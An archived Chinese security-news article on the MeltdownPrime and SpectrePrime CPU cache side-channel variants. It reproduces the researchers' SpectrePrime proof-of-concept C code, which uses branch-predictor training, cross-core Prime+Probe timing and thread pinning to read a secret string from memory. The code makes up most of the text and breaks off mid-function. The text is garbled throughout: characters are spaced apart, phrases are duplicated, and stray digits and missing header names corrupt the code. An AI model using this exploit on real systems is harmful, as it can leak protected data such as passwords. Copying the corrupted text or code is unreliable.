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[4843] 2018-02-17_CPU漏洞变种攻击：MeltdownPrime和SpectrePrime(含PoC)

文档创建者：s7ckTeam
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最后更新：2025-01-16
2018-02-17_CPU漏洞变种攻击：MeltdownPrime和SpectrePrime(含PoC) C P U 漏 洞 变 种 攻 击 ： M e l t d o w n P r i m e 和 S p e c t r e P r i m e ( 含 P o C ) c n B e t a   E 安 全   2 0 1 8 - 0 2 - 1 7 更 多 全 球 网 络 安 全 资 讯 尽 在 E 安 全 官 网 w w w . e a s y a q . c o m 作 为 近 年 来 曝 出 的 最 严 重 的 计 算 机 硬 件 安 全 漏 洞 ， 别 有 用 心 的 攻 击 者 可 以 利 用 处 理 器 的 “ 幽 灵 ” （ S p e c t r e ） 和 “ 熔 毁 ” （ M e l t d o w n ） 漏 洞 来 访 问 计 算 机 上 受 保 护 的 内 存 信 息 ， 比 如 浏 览 器 中 保 存 的 账 号 密 码 、 或 者 电 子 邮 件 等 隐 私 内 容 。 尴 尬 尴 尬 的 是 ， 尽 管 全 行 业 软 硬 件 厂 商 在 努 力 制 作 补 丁 ， 有 关 这 两 个 安 全 漏 洞 的 新 变 种 攻 击 还 是 不 断 涌 现 。 的 是 ， 尽 管 全 行 业 软 硬 件 厂 商 在 努 力 制 作 补 丁 ， 有 关 这 两 个 安 全 漏 洞 的 新 变 种 攻 击 还 是 不 断 涌 现 。 英 特 尔 、 A M D   等 软 硬 件 厂 商 推 出 了 修 复 补 丁 ， 但 对 计 算 机 性 能 造 成 了 一 定 程 度 的 不 利 影 响 。 深 受 影 响 的 英 特 尔 表 示 ， 该 公 司 承 诺 在 后 续   C P U   中 消 除 这 一 漏 洞 。 然 而 英 伟 达 和 普 林 斯 顿 大 学 的 一 支 研 究 团 队 ， 刚 刚 在 一 份 新 报 告 （ P D F ） 中 揭 示 了 两 个 两 个   M e l t d o w n   和 和   S p e c t r e   漏 洞 利 用 的 漏 洞 利 用 的 新 方 法 ， 分 别 叫 做 新 方 法 ， 分 别 叫 做 “ M e l t d o w n P r i m e ” 和 和 “ S p e c t r e P r i m e ” 。 。 据 悉 ， 攻 击 者 可 以 让   C P U   的 两 个 核 心 互 相 敌 对 ， 以 欺 骗 多 核 系 统 放 弃 缓 存 数 据 。 下 面 是 这 份 研 究 报 告 总 结 部 分 的 摘 录 ： S p e c t r e   和   M e l t d o w n   存 在 的 情 况 下 ， 相 干 失 效 使 得 一 种   P r i m e + P r o b e   攻 击 成 为 了 可 能 ， 精 度 可 达 到 与   F l u s h + R e l o a d   攻 击 的 相 同 级 别 ， 以 及 泄 露 相 同 的 信 息 类 型 。 利 用 缓 存 的 失 效 ， 变 种   M e l t d o w n   和   S p e c t r e   在 使 用   P r i m e + P r o b e   旁 路 信 道 攻 击 时 ， 能 够 以 相 同 的 细 粒 度 来 泄 露 受 害 者 的 内 存 。 基 于 某 种 无 效 的 一 致 性 协 议 ， M e l t d o w n P r i m e   和   S p e c t r e P r i m e   由 系 统 中 发 起 的 写 入 请 求 引 起 。 总 而 言 之 ， 当 前 可 用 的 补 丁 和 安 全 更 新 有 可 能 已 经 解 决 了 变 种 攻 击 的 问 题 。 但 是 基 于 最 新 的 状 况 ， 英 特 尔 和   A M D   或 需 要
考 虑 对 其 即 将 推 出 的   C P U   硬 件 加 以 调 整 。 S p e c t r e P r i m e   P o C h t t p s : / / a r x i v . o r g / p d f / 1 8 0 2 . 0 3 8 0 2 . p d f / * *   = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = *   F i l e n a m e :   s p e c t r e p r i m e - p o c . c *   D e s c r i p t i o n :   P O C   S p e c t r e P r i m e * *   V e r s i o n :   0 . 1 *   C r e a t e d :   0 1 / 2 1 / 2 0 1 8 *   R e v i s i o n :   n o n e *   C o m p i l e r :   g c c   - p t h r e a d   s p e c t r e p r i m e - p o c . c   - o   p o c *   A u t h o r :   C a r o l i n e   T r i p p e l * *   A d a p t e d   f r o m   P O C   S p e c t r e *   P O C   S p e c t r e   A u t h o r s :   P a u l   K o c h e r ,   D a n i e l   G e n k i n ,   D a n i e l   G r u s s ,   W e r n e r   H a a s ,   M i k e   H a m b u r g , *   M o r i t z   L i p p ,   S t e f a n   M a n g a r d ,   T h o m a s   P r e s c h e r ,   M i c h a e l   S c h w a r z ,   Y u v a l   Y a r o m   ( 2 0 1 7 ) *   = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = * / # d e f i n e   _ G N U _ S O U R C E # i n c l u d e   # i n c l u d e   # i n c l u d e   # i n c l u d e   # i n c l u d e   # i m p o r t   s t r u c t   p p _ a r g _ s t r u c t   { i n t   j u n k ; i n t   t r i e s ; i n t   * r e s u l t s ;
        } ; s t r u c t   p t _ a r g _ s t r u c t   { s i z e _ t   m a l i c i o u s _ x ; i n t   t r i e s ; } ; / / u s e d   f o r s e t t i n g   t h r e a d   a f f i n t y   o n   m a c O S k e r n _ r e t u r n _ t   t h r e a d _ p o l i c y _ s e t ( t h r e a d _ t   t h r e a d , t h r e a d _ p o l i c y _ f l a v o r _ t   f l a v o r , t h r e a d _ p o l i c y _ t   p o l i c y _ i n f o , m a c h _ m s g _ t y p e _ n u m b e r _ t   c o u n t ) ; k e r n _ r e t u r n _ t   t h r e a d _ p o l i c y _ g e t ( t h r e a d _ t   t h r e a d , t h r e a d _ p o l i c y _ f l a v o r _ t   f l a v o r , t h r e a d _ p o l i c y _ t   p o l i c y _ i n f o , m a c h _ m s g _ t y p e _ n u m b e r _ t   * c o u n t , b o o l e a n _ t   * g e t _ d e f a u l t ) ; # d e f i n e   h a n d l e _ e r r o r _ e n ( e n ,   m s g )   d o {   e r r n o   =   e n ;   p e r r o r ( m s g ) ;   e x i t ( E X I T _ F A I L U R E ) ;   }   w h i l e ( 0 ) # i f d e f   _ M S C _ V E R # i n c l u d e     / *   f o r   r d t s c p   a n d   c l f l u s h   * / # p r a g m a   o p t i m i z e ( " g t " , o n ) # e l s e # i n c l u d e     / *   f o r   r d t s c p   a n d   c l f l u s h   * / # e n d i f / * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
      / * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * V i c t i m   c o d e . * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * / u n s i g n e d   i n t   a r r a y 1 _ s i z e   =   1 6 ; u i n t 8 _ t   u n u s e d 1 [ 6 4 ] ; u i n t 8 _ t   a r r a y 1 [ 1 6 0 ]   =   {   1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 1 0 , 1 1 , 1 2 , 1 3 , 1 4 , 1 5 , 1 6   } ; u i n t 8 _ t   u n u s e d 2 [ 6 4 ] ; u i n t 8 _ t   a r r a y 2 [ 2 5 6   *   5 1 2 ] ; v o l a t i l e   i n t   f l a g   =   0 ; c h a r   * s e c r e t   =   " T h e   M a g i c   W o r d s   a r e   S q u e a m i s h   O s s i f r a g e . " ; u i n t 8 _ t   t e m p   =   0 ;   / *   U s e d   s o   c o m p i l e r   w o n a t   o p t i m i z e   o u t   v i c t i m _ f u n c t i o n ( )   * / v o i d   v i c t i m _ f u n c t i o n ( s i z e _ t   x )   { i f ( x   <   a r r a y 1 _ s i z e )   { / / _ _ a s m _ _ ( " l f e n c e " ) ;   o r   _ _ a s m _ _ ( " m f e n c e " ) ;   / *   b o t h   b r e a k S p e c t r e   &   S p e c t r e P r i m e   i n o u r   e x p e r i m e n t s * / 9 a r r a y 2 [ a r r a y 1 [ x ]   *   5 1 2 ]   =   1 ; } } / * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * A n a l y s i s   c o d e * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * /
              # d e f i n e   C A C H E _ M I S S _ T H R E S H O L D   ( 6 0 )   / *   a s s u m e   c a c h e   m i s s   i f   t i m e   > =   t h r e s h o l d   * / i n t   p r i m e ( )   { i n t   i ,   j u n k   =   0 ; f o r ( i   =   0 ;   i   <   2 5 6 ;   i + + ) j u n k   + =   a r r a y 2 [ i   *   5 1 2 ] ; r e t u r n j u n k ; } v o i d   t e s t ( s i z e _ t   m a l i c i o u s _ x ,   i n t   t r i e s )   { i n t   j ; s i z e _ t   t r a i n i n g _ x ,   x ; t r a i n i n g _ x   =   t r i e s   %   a r r a y 1 _ s i z e ; f o r ( j   =   2 9 ;   j   > =   0 ;   j - - )   { _ m m _ c l f l u s h ( & a r r a y 1 _ s i z e ) ; v o l a t i l e   i n t   z   =   0 ; f o r ( z   =   0 ;   z   <   1 0 0 ;   z + + )   { }   / *   D e l a y   ( c a n   a l s o   m f e n c e )   * / / *   B i t   t w i d d l i n g   t o   s e t x = t r a i n i n g _ x   i f j % 6 ! = 0   o r   m a l i c i o u s _ x   i f j % 6 = = 0   * /
              / *   A v o i d   j u m p s   i n c a s e t h o s e   t i p   o f f   t h e   b r a n c h   p r e d i c t o r   * / x   =   ( ( j   %   6 )   -   1 )   &   ~ 0 x F F F F ;   / *   S e t   x = F F F . F F 0 0 0 0   i f j % 6 = = 0 ,   e l s e x = 0   * / x   =   ( x   |   ( x   > >   1 6 ) ) ;   / *   S e t   x = - 1   i f j & 6 = 0 ,   e l s e x = 0   * / x   =   t r a i n i n g _ x   ^   ( x   &   ( m a l i c i o u s _ x   ^   t r a i n i n g _ x ) ) ; / *   C a l l   t h e   v i c t i m !   * / v i c t i m _ f u n c t i o n ( x ) ; } } v o i d   p r o b e ( i n t   j u n k ,   i n t   t r i e s ,   i n t   r e s u l t s [ 2 5 6 ] )   { i n t   i ,   m i x _ i ; v o l a t i l e   u i n t 8 _ t   * a d d r ; r e g i s t e r   u i n t 6 4 _ t   t i m e 1 ,   t i m e 2 ; f o r ( i   =   0 ;   i   <   2 5 6 ;   i + + )   { m i x _ i   =   ( ( i   *   1 6 7 )   +   1 3 )   &   2 5 5 ; a d d r   =   & a r r a y 2 [ m i x _ i   *   5 1 2 ] ; t i m e 1   =   _ _ r d t s c p ( & j u n k ) ;   / *   R E A D   T I M E R   * / j u n k   =   * a d d r ;   / *   M E M O R Y   A C C E S S   T O   T I M E   * /
          j u n k   =   * a d d r ;   / *   M E M O R Y   A C C E S S   T O   T I M E   * / t i m e 2   =   _ _ r d t s c p ( & j u n k )   -   t i m e 1 ;   / *   R E A D   T I M E R   &   C O M P U T E   E L A P S E D   T I M E   * / i f ( t i m e 2   > =   C A C H E _ M I S S _ T H R E S H O L D   & &   m i x _ i   ! =   a r r a y 1 [ t r i e s   %   a r r a y 1 _ s i z e ] ) r e s u l t s [ m i x _ i ] + + ;   / *   c a c h e   h i t   -   a d d   + 1   t o   s c o r e   f o r t h i s   v a l u e   * / } } v o i d   * p r i m e P r o b e ( v o i d   * a r g u m e n t s )   {   / / i n t j u n k ,   i n t   t r i e s ,   i n t   r e s u l t s [ 2 5 6 ] )   { s t r u c t   p p _ a r g _ s t r u c t   * a r g s   =   a r g u m e n t s ; i n t   j u n k   =   a r g s - > j u n k ; i n t   t r i e s   =   a r g s - > t r i e s ; i n t   * r e s u l t s   =   a r g s - > r e s u l t s ; p r i m e ( ) ; w h i l e ( f l a g   ! =   1 )   {   } f l a g   =   0 ; p r o b e ( j u n k ,   t r i e s ,   r e s u l t s ) ; } v o i d   * p r i m e T e s t ( v o i d   * a r g u m e n t s )   {   / / s i z e _ t m a l i c i o u s _ x ,   i n t   t r i e s )   { s t r u c t   p t _ a r g _ s t r u c t   * a r g s   =   a r g u m e n t s ; s i z e _ t   m a l i c i o u s _ x   =   a r g s - > m a l i c i o u s _ x ; i n t   t r i e s   =   a r g s - > t r i e s ; p r i m e ( ) ;
        t e s t ( m a l i c i o u s _ x ,   t r i e s ) ; f l a g   =   1 ; } v o i d   r e a d M e m o r y B y t e ( s i z e _ t   m a l i c i o u s _ x ,   u i n t 8 _ t   v a l u e [ 2 ] ,   i n t   s c o r e [ 2 ] )   { s t a t i c   i n t   r e s u l t s [ 2 5 6 ] ; i n t   t r i e s ,   i ,   j ,   k ,   j u n k   =   0 ; p t h r e a d _ t   p p _ t h r e a d ,   p t _ t h r e a d ; s t r u c t   p p _ a r g _ s t r u c t   p p _ a r g s ; 1 0 s t r u c t   p t _ a r g _ s t r u c t   p t _ a r g s ; p t _ a r g s . m a l i c i o u s _ x   =   m a l i c i o u s _ x ; p p _ a r g s . r e s u l t s   =   r e s u l t s ; p p _ a r g s . j u n k   =   j u n k ; f o r ( i   =   0 ;   i   <   2 5 6 ;   i + + ) r e s u l t s [ i ]   =   0 ; f o r ( t r i e s   =   9 9 9 ;   t r i e s   >   0 ;   t r i e s - - )   { p p _ a r g s . t r i e s   =   t r i e s ; p t _ a r g s . t r i e s   =   t r i e s ; / / h e u r i s t i c s   t o   e n c o u r g e   t h r e a d   a f f i n i t y   o n   m a c O S / / h t t p s : / / d e v e l o p e r . a p p l e . c o m / l i b r a r y / c o n t e n t / r e l e a s e n o t e s / P e r f o r m a n c e / R N - A f f i n i t y A P I / i n d e x . h t m l i f ( p t h r e a d _ c r e a t e _ s u s p e n d e d _ n p ( & p p _ t h r e a d ,   N U L L ,   p r i m e P r o b e ,   & p p _ a r g s )   ! =   0 )   a b o r t ( ) ; m a c h _ p o r t _ t   m a c h _ p p _ t h r e a d   =   p t h r e a d _ m a c h _ t h r e a d _ n p ( p p _ t h r e a d ) ; t h r e a d _ a f f i n i t y _ p o l i c y _ d a t a _ t   p o l i c y D a t a 1   =   {   1   } ;
            t h r e a d _ a f f i n i t y _ p o l i c y _ d a t a _ t   p o l i c y D a t a 1   =   {   1   } ; t h r e a d _ p o l i c y _ s e t ( m a c h _ p p _ t h r e a d ,   T H R E A D _ A F F I N I T Y _ P O L I C Y ,   ( t h r e a d _ p o l i c y _ t ) & p o l i c y D a t a 1 ,   1 ) ; i f ( p t h r e a d _ c r e a t e _ s u s p e n d e d _ n p ( & p t _ t h r e a d ,   N U L L ,   p r i m e T e s t ,   & p t _ a r g s )   ! =   0 )   a b o r t ( ) ; m a c h _ p o r t _ t   m a c h _ p t _ t h r e a d   =   p t h r e a d _ m a c h _ t h r e a d _ n p ( p t _ t h r e a d ) ; t h r e a d _ a f f i n i t y _ p o l i c y _ d a t a _ t   p o l i c y D a t a 2   =   {   2   } ; t h r e a d _ p o l i c y _ s e t ( m a c h _ p t _ t h r e a d ,   T H R E A D _ A F F I N I T Y _ P O L I C Y ,   ( t h r e a d _ p o l i c y _ t ) & p o l i c y D a t a 2 ,   1 ) ; t h r e a d _ r e s u m e ( m a c h _ p p _ t h r e a d ) ; t h r e a d _ r e s u m e ( m a c h _ p t _ t h r e a d ) ; / / j o i n t h r e a d s p t h r e a d _ j o i n ( p p _ t h r e a d ,   N U L L ) ; p t h r e a d _ j o i n ( p t _ t h r e a d ,   N U L L ) ; / *   L o c a t e   h i g h e s t   &   s e c o n d - h i g h e s t   r e s u l t s   r e s u l t s   t a l l i e s   i n j / k * / j   =   k   =   - 1 ; f o r ( i   =   0 ;   i   <   2 5 6 ;   i + + )   { i f ( j   <   0   | |   r e s u l t s [ i ]   > =   r e s u l t s [ j ] )   { k   =   j ; j   =   i ; }   e l s e
            i f ( k   <   0   | |   r e s u l t s [ i ]   > =   r e s u l t s [ k ] )   { k   =   i ; } } i f ( r e s u l t s [ j ]   > =   ( 2   *   r e s u l t s [ k ]   +   5 )   | |   ( r e s u l t s [ j ]   = =   2   & &   r e s u l t s [ k ]   = =   0 ) ) b r e a k ;   / *   C l e a r   s u c c e s s   i f b e s t   i s   >   2 * r u n n e r - u p   +   5   o r   2 / 0 )   * / } r e s u l t s [ 0 ]   ^ =   j u n k ;   / *   u s e   j u n k   s o   c o d e   a b o v e   w o n a t   g e t   o p t i m i z e d   o u t * / v a l u e [ 0 ]   =   ( u i n t 8 _ t ) j ; s c o r e [ 0 ]   =   r e s u l t s [ j ] ; v a l u e [ 1 ]   =   ( u i n t 8 _ t ) k ; s c o r e [ 1 ]   =   r e s u l t s [ k ] ; } i n t   m a i n ( i n t   a r g c ,   c o n s t   c h a r   * * a r g v )   { s i z e _ t   m a l i c i o u s _ x = ( s i z e _ t ) ( s e c r e t - ( c h a r * ) a r r a y 1 ) ;   / *   d e f a u l t   f o r m a l i c i o u s _ x   * / i n t   i ,   j ,   s ,   s c o r e [ 2 ] ,   l e n = 4 0 ; u i n t 8 _ t   v a l u e [ 2 ] ; f o r ( i   =   0 ;   i   <   s i z e o f ( a r r a y 2 ) ;   i + + ) a r r a y 2 [ i ]   =   1 ;   / *   w r i t e   t o   a r r a y 2   s o   i n
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